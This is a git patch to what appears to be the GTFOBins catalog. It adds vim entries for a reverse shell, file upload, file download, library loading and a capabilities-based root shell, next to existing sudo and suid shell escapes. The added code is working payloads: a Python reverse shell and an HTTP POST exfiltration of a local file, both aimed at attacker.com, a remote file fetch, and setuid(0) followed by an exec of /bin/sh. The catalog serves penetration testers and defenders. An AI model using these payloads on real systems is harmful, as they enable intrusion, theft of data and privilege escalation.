From 6befd624308bcd44066b6fbcd020cd6e5e0165a8 Mon Sep 17 00:00:00 2001
From: Emilio Pinna <emilio.pinn@gmail.com>
Date: Tue, 18 Dec 2018 15:11:03 +0100
Subject: [PATCH] Add reverse-shell, file-upload, file-download, library-load,
 and capabilities to vim

---
 _gtfobins/vim.md | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md
index 47d52e9..9708f3a 100644
--- a/_gtfobins/vim.md
+++ b/_gtfobins/vim.md
@@ -8,6 +8,44 @@ functions:
         :shell
     - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
+  reverse-shell:
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        vim -c ':py import vim,sys,socket,os,pty;s=socket.socket()
+        s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
+        [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+        pty.spawn("/bin/sh")
+        vim.command(":q!")'
+  file-upload:
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        export URL=http://attacker.com/
+        export LFILE=file_to_send
+        vim -c ':py import vim,sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
+        else: import urllib as u, urllib2 as r
+        r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
+        vim.command(":q!")'
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.
+      code: |
+        export LPORT=8888
+        vim -c ':py import vim,sys; from os import environ as e
+        if sys.version_info.major == 3: import http.server as s, socketserver as ss
+        else: import SimpleHTTPServer as s, SocketServer as ss
+        ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
+        vim.command(":q!")'
+  file-download:
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        vim -c ':py import vim,sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r
+        else: import urllib as r
+        r.urlretrieve(e["URL"], e["LFILE"])
+        vim.command(":q!")'
   file-write:
     - code: |
         vim file_to_write
@@ -16,6 +54,9 @@ functions:
         w
   file-read:
     - code: vim file_to_read
+  library-load:
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
+      code: vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'
   suid:
     - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
@@ -23,4 +64,7 @@ functions:
     - code: sudo vim -c ':!/bin/sh'
     - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
+  capabilities:
+    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
+      code: ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
 ---